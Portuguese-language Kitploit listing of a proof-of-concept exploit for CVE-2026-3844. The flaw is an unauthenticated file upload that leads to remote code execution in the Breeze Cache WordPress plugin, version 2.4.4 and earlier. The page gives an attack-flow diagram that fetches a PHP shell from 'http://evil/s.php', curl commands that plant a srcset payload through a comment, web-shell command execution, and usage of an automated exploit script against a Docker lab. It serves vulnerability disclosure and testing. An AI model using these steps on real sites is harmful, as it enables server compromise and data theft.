Skip to content
KitploitKITPLOIT
FerramentasBlog
Log in
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

FeedsContatoPrivacidade© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-3844 — Prova de conceito de exploit para CVE-2026-3844, um upload arbitrário de arquivos sem autenticação que leva à execução remota de código no Breeze Cache <= 2.4.4. Inclui laboratório Docker e script de exploit automatizado. | Kitploit
Ferramentas/GitHubGitHub/dinosn/cve-2026-3844
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebSegurança WebTestes de PenetraçãoAprendizado e Educação
GitHubdinosn/cve-2026-3844

CVE-2026-3844

Prova de conceito de exploit para CVE-2026-3844, um upload arbitrário de arquivos sem autenticação que leva à execução remota de código no Breeze Cache <= 2.4.4. Inclui laboratório Docker e script de exploit automatizado.

Ver Repositório
516há 5 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2026-3844 — Breeze Cache <= 2.4.4 Upload Arbitrário de Arquivo Não Autenticado para RCE

Visão Geral

CampoValor
CVECVE-2026-3844
CVSS9.8 Crítico (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
CWECWE-434 — Upload Irrestrito de Arquivo com Tipo Perigoso
PluginBreeze Cache por Cloudways
AfetadoTodas as versões até e incluindo 2.4.4
Corrigido2.4.5 (changeset 3511463)
InstalaçõesMais de 400.000 instalações WordPress ativas
Descoberto porHung Nguyen (bashu)
Divulgado2026-04-23

Vulnerabilidade

A função fetch_gravatar_from_remote() em inc/class-breeze-cache-cronjobs.php baixa URLs remotas e as salva em um diretório acessível pela web usando o nome de arquivo e extensão originais da URL. Não há validação de tipo MIME, nenhuma lista de permissões de extensões e nenhuma inspeção de conteúdo.

Quando a configuração "Hospedar Arquivos Localmente - Gravatars" está habilitada, o plugin se conecta ao filtro get_avatar do WordPress via breeze_replace_gravatar_image(). Esta função usa uma regex para extrair URLs dos atributos srcset e src no HTML do avatar. Um atacante pode injetar um atributo srcset malicioso ao postar um comentário com um nome de autor forjado, fazendo o plugin baixar e armazenar em cache um arquivo PHP arbitrário.

Código Vulnerável

Código vulnerável em fetch_gravatar_from_remote()

O que está faltando:

  • Nenhuma verificação de que o conteúdo baixado é uma imagem (validação MIME)
  • Nenhuma restrição de extensões de arquivo (.php, .phtml, .phar todos aceitos)
  • Nenhuma inspeção do tipo de conteúdo da resposta HTTP
  • O diretório de destino é acessível pela web e permite execução de PHP

Fluxo do Ataque

Atacante                          WordPress + Breeze 2.4.4
   |                                        |
   |  1. POST /wp-comments-post.php         |
   |     author=x srcset=http://evil/s.php  |
   |  ------------------------------------> |
   |                                        |  Comentário salvo
   |                                        |
   |  2. GET /?p=1                          |
   |  ------------------------------------> |
   |                                        |  Filtro get_avatar dispara
   |                                        |  breeze_replace_gravatar_image()
   |                                        |    extrai URL srcset via regex
   |                                        |    chama fetch_gravatar_from_remote()
   |                                        |
   |            3. download_url()           |
   |            http://evil/s.php           |
   |         <----------------------------- |
   |         Conteúdo do arquivo PHP        |
   |         -----------------------------> |
   |                                        |  Salvo em:
   |                                        |  wp-content/cache/breeze-extra/
   |                                        |    gravatars/s.php
   |                                        |
   |  4. GET /wp-content/cache/breeze-extra |
   |         /gravatars/s.php?cmd=id        |
   |  ------------------------------------> |
   |                                        |  PHP executa como www-data
   |         uid=33(www-data)               |
   |  <------------------------------------ |

Pré-condições

  1. A versão do plugin Breeze <= 2.4.4 deve estar instalada e ativa
  2. "Hospedar Arquivos Localmente - Gravatars" deve estar habilitado (desativado por padrão, em Configurações > Breeze > Avançado)
  3. Os comentários do WordPress devem estar abertos em pelo menos um post
  4. O servidor de payload do atacante deve ser acessível a partir do servidor WordPress

Configuração do Laboratório Docker

Este PoC inclui um ambiente Docker autossuficiente com:

  • WordPress 6.5 + Breeze 2.4.4 (vulnerável, com hospedagem de gravatars habilitada)
  • MariaDB 10.11
  • Um servidor HTTP Python hospedando o payload do PoC

Pré-requisitos

  • Docker e Docker Compose
  • Python 3.8+ com requests (pip install requests)

1. Iniciar o Laboratório

cd docker/
docker compose up -d --build

Aguarde ~30 segundos para o WordPress inicializar. Verifique:

curl -s http://localhost:8088/wp-content/plugins/breeze/readme.txt | grep "Stable tag"
# Esperado: Stable tag: 2.4.4

2. Verificar Pré-condições

Versão do Breeze 2.4.4 confirmada

Comentários abertos, hospedagem de gravatars habilitada

A configuração Docker automaticamente:

  • Habilita "Hospedar Arquivos Localmente - Gravatars" (breeze-store-gravatars-locally: 1)
  • Abre comentários nos posts
  • Desativa moderação de comentários (para exploração imediata)

Exploração

Passos Manuais

Passo 1 — Postar o Comentário Malicioso

curl -X POST "http://localhost:8088/wp-comments-post.php" \
    -d "comment_post_ID=1&author=x+srcset=http://PAYLOAD_IP:9999/shell.php&[email protected]&comment=test&submit=Post+Comment"

Substitua PAYLOAD_IP pelo IP do contêiner de payload:

docker inspect -f '{{range .NetworkSettings.Networks}}{{.IPAddress}}{{end}}' \
    $(docker compose -f docker/docker-compose.yml ps -q payload)

Resposta esperada: redirecionamento HTTP 302 para a página do post.

POST de comentário malicioso

Passo 2 — Disparar a Renderização do Avatar

Visite a página do post para fazer o WordPress renderizar o avatar do comentário, o que dispara o filtro get_avatar do Breeze e baixa o payload:

curl -s "http://localhost:8088/?p=1" > /dev/null

O HTML renderizado mostra que o Breeze extraiu o srcset injetado e armazenou o payload em cache:

Renderização do avatar dispara a busca do payload

Passo 3 — Verificar o Arquivo no Disco

O payload PHP é gravado literalmente, de propriedade de www-data:

shell.php no disco de propriedade de www-data

Passo 4 — Confirmar RCE

RCE confirmado — id, whoami, uname, /etc/passwd

Script de Exploração Automatizado

cd poc/
pip install requests
python3 exploit.py --target http://localhost:8088 --payload http://PAYLOAD_IP:9999/shell.php

Saída do script de exploração automatizado

Opções do Script

usage: exploit.py [-h] -t TARGET [-p PAYLOAD] [--post-id POST_ID]
                  [--timeout TIMEOUT] [--wait WAIT] [--check-only]
Baixar ferramenta